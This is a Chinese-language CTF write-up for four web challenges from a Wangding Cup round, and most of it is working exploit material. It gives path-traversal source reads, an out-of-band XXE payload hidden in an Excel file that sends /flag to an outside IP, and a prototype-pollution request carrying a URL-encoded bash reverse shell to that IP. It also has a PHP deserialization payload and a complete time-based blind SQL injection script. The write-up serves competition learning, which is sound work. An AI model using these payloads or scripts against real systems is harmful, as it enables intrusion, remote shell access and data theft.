第二屆網鼎杯(第一場:青龍組)web WriteUp

學校戰隊總排名五十幾,web和pwn各拿了一個一血,只能說師傅太強了,不過後來的排名有點起飛,最後半小時,直接從前十名飛出去了~~

filejava

這道題主要考察的是javaxxe漏洞,這個題目總共有兩個功能,上傳和下載功能,有上傳和下載,我們就想到兩個漏洞點,是否有任意文件上傳或者任意文件下載?


經過測試確實有任意文件下載,但是任意文件上傳確不存在,但是卻能夠爲我們提供路徑~~

任意文件下載

在這裏插入圖片描述但是我們不知道web的路徑怎麼辦?我們還有文件上傳的報錯~~

文件上傳

在這裏插入圖片描述

我們可以看到報錯處直接給了web的路徑,我們就可以直接讀源碼了

先讀web.xml
在這裏插入圖片描述
然後直接讀源碼

  • cn.abc.servlet.ListFileServlet
  • cn.abc.servlet.DownloadServlet
  • cn.abc.servlet.UploadServlet

而class文件一般都在classes文件夾下,所以我們要讀取UploadServlet,其路徑爲:

../../../../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/UploadServlet.class

我這兒只是給出如何讀源碼以及思路,剩下的就不演示了,剩下就是一些class文件反編譯之類的

通過讀源碼我們知道,就是xxe漏洞,而且是Excel的xxe,Excel就是一個壓縮文件,裏面有一個xml文件,這兒不做過多闡述

[Content_Types].xml文件改成如下:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE try[
<!ENTITY % int SYSTEM "http://174.1.59.194/e.xml">
%int;
%all;
%send;
]>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/><Override PartName="/xl/theme/theme1.xml" ContentType="application/vnd.openxmlformats-officedocument.theme+xml"/><Override PartName="/xl/styles.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.styles+xml"/><Override PartName="/docProps/core.xml" ContentType="application/vnd.openxmlformats-package.core-properties+xml"/><Override PartName="/docProps/app.xml" ContentType="application/vnd.openxmlformats-officedocument.extended-properties+xml"/></Types>

然後在自己服務器下添加e.xml
內容如下:

<!ENTITY % payl SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://174.1.59.194:555/?%payl;'>">

然後在自己的服務器上監聽555端口,上傳Excel就能獲得flag了

參考連接



notes

這是一道nodejs的題目,怎麼說呢,這道題目一般般吧,不過還是被小坑了一下


直接下載源碼

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })
const port = 666;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

很明顯了,有一個執行系統命名的地方,但是數組是被寫死的,我們很自然想到的就是原型鏈污染,這樣才能可能執行我們想要的命令

而恰好,undefsafe在版本2.0.3之前都是存在原型鏈污染的·~~

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

參考連接

所以過程就很明顯了
直接到/edit_note路由,這三個參數我們都可控
傳的參數爲:

id=__proto__&author=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%37%34%2e%31%2e%35%39%2e%31%39%34%2f%35%35%35%20%30%3e%26%31&raw=1

直接反彈shell,獲得flag



AreUSerialz

這道題我們隊拿了個一血,其實做題的師傅都不知道怎麼回事~~~(偷笑)

這道源碼很簡單,主要是弱類型繞過+簡單的反序列化

主要就是繞過protected中的特殊字符
有的師傅說%00可以用空格繞過,或者直接用public代替,是因爲php7.1+ 反序列化對這些不敏感,反正我也不太清楚

接下來說一下我們隊的師傅是怎麼做的吧

他是直接用public代替proteced,然乎修改一下類的屬性個數(即繞過__wakeup的那種方法)就直接讀flag.php
我們當時還以爲這也是繞過proteted的一種方式了,hhh

後來在buu上覆現,直接用這個payload就行了

O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}

可能當時比賽和buu上的環境不一樣吧~~~

後來聽別人說預期解是讀cmdline
我也不知道~~

  • php7.2+對privatepublic不敏感
  • 小寫s改爲大寫S,後面的值就可以接16進制,從而繞過過濾


trace

這道題目比較可惜,flag爬到一半,比賽就停了
由於一次容器只能插入20次數據,所以我們不能用常規的方法,否則根本跑不出來
這兒我們主要用到的是exp溢出來報錯
而且不能直接跑出表名,列名,這些都是猜的~~

直接貼出exp:

# encoding=utf-8
import requests
import time

url="http://b5973f1b497b40ff9e8875428cbf9558f1ed1af239e9491f.cloudgame1.ichunqiu.com/register_do.php"
proxies = {
  		"http": "http://127.0.0.1:8080",
		}

flag="flag{"
#erfenfa
for i in range(6,50):
	high = 127
	low = 44
	mid = (low + high) // 2
	while high > low:
		#payload=r"id=\\0&path=or 1=(ascii(mid(CONCAT_WS(CHAR(32,58,32),user(),database(),version()),{},1))>{})--+" #65
		payload=r"ddd',exp(if(ascii(mid((select a.2 from (select 1,2 union select * from flag)a limit 1,1),{},1))>{},sleep(4),0)+10000))-- -"
		#payload=r"11',if(ascii(mid(user(),{},1))>{},sleep(3),1))-- -"
		#payload=r"id=\\0&path=or 1=(ascii(mid((select password from users limit 1 offset 0),{},1))>{})--+"
		#url_1=url+payload.format(i,mid)
        
		data={"username":payload.format(i,mid),"password":"ddd"}
		print(payload.format(i,mid))
		s_time=time.time()
		r=requests.post(url,data=data,proxies=proxies)
		print(r.content)
		e_time=time.time()
		if e_time-s_time>3:
			low=mid+1 
		else:
			high=mid
		mid=(low+high)//2
		time.sleep(1)
	flag+=chr(mid)
	print(flag) 


'''
if(ascii(mid(user(),1,1))>43,sleep(5),1)

sys.schema_auto_increment_columns
if((ascii(mid((select/**/group_concat(table_NAME)/**/from/**/mysql.innodb_table_stats/**/where/**/table_schema=database()),1,1))>1),sleep(5),1)'''
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),1,1))>1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),1,1))>1,sleep(5),1)
#if(ascii(mid((select/**/group_concat(table_NAME)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=database()),{},1))>{},sleep(5),1)

#select a.2 from (select 1,2 union select * from Flag)a limit 1,1
#if(ascii(mid((select select a.2 from (select 1,2 union select * from Flag)a limit 1,1),{},1))>{},sleep(3),1)
#flag{dbfb184e62-ed9834-437a3-ak2d1a80-7}
#14 2
#flag{8be2fcc4-a40a-48f6-8554-9f2789f3df1c}
#21 4
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章